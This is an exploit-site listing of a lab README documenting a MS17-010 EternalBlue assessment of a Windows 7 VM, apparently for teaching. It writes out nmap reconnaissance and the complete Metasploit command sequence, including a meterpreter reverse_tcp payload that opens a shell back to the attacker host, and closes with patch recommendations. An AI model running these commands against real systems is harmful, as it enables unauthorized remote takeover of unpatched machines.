Sploitus

Window-7-Vulnerability-and-Exploitation.

CVE-2017-0144

githubexploit · 2026-08-29

Exploit Code

README71 lines
## https://sploitus.com/exploit?id=F81198F7-1885-5A37-8A06-EB74144965B3
# Windows 7 Vulnerability Assessment & Exploitation Lab

## 🎯 Objective
Perform Ethical Vulnerability Assessment and Penetration Testing Lab on Windows 7 SP1 using Kali Linux, Nmap and Metasploit. MS17-010 EternalBlue Exploitation.
## 🖥️ Lab Environment
- **Attacker**: Kali Linux 2026 - IP: 192.168.56.103
- **Target**: Windows 7 Ultimate SP1 x64 - IP: 192.168.56.104
- **Virtualization**: Oracle VirtualBox - Host-Only Network

## 📋 Commands Used & Workflow

### 1. Reconnaissance
```bash
ipconfig
ifconfig
ping 192.168.56.104

nmap -sV 192.168.56.104
nmap -sC -sV 192.168.56.104
nmap -O 192.168.56.104
nmap --script smb-protocols,smb-security-mode 192.168.56.104
nmap --script smb-vuln* 192.168.56.104
sudo nmap -sC -sV --script vuln 192.168.56.104 -oN windows7-report.txt

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.104
set LHOST 192.168.56.103
set payload windows/x64/meterpreter/reverse_tcp
exploit

sysinfo
screenshot
exit

## 🔍 Key Findings

### Vulnerability 1: MS17-010 - ETERNALBLUE
- **CVE**: CVE-2017-0144
- **Severity**: CRITICAL
- **Description**: Remote Code Execution vulnerability in Microsoft SMBv1. Allows unauthenticated attacker to execute code.
- **Evidence**: `smb-vuln-ms17-010: VULNERABLE`
- **Impact**: Full system compromise

### Vulnerability 2: SMBv1 Enabled
- **Risk**: Deprecated and insecure protocol
- **Evidence**: `NT LM 0.12 (SMBv1) [dangerous, but default]`

### Vulnerability 3: SMB Signing Disabled  
- **Risk**: Vulnerable to Man-in-the-Middle attacks
- **Evidence**: `message_signing: disabled (dangerous, but default)`

## 📸 Evidence Screenshots
All 16 screenshots are in `/screenshots` folder showing:
- IP Configuration
- Nmap Vulnerability Scan
- MS17-010 Detection
- Meterpreter Session Established
- System Info + Screenshot

## ✅ Conclusion
Windows 7 target was successfully assessed and exploited via MS17-010. Full meterpreter access obtained. Highlights importance of patching.

## 🛡️ Recommendations
1. Apply Microsoft Patch MS17-010
2. Disable SMBv1
3. Enable SMB Message Signing

## ⚠️ Disclaimer
Performed in isolated lab for educational purposes only.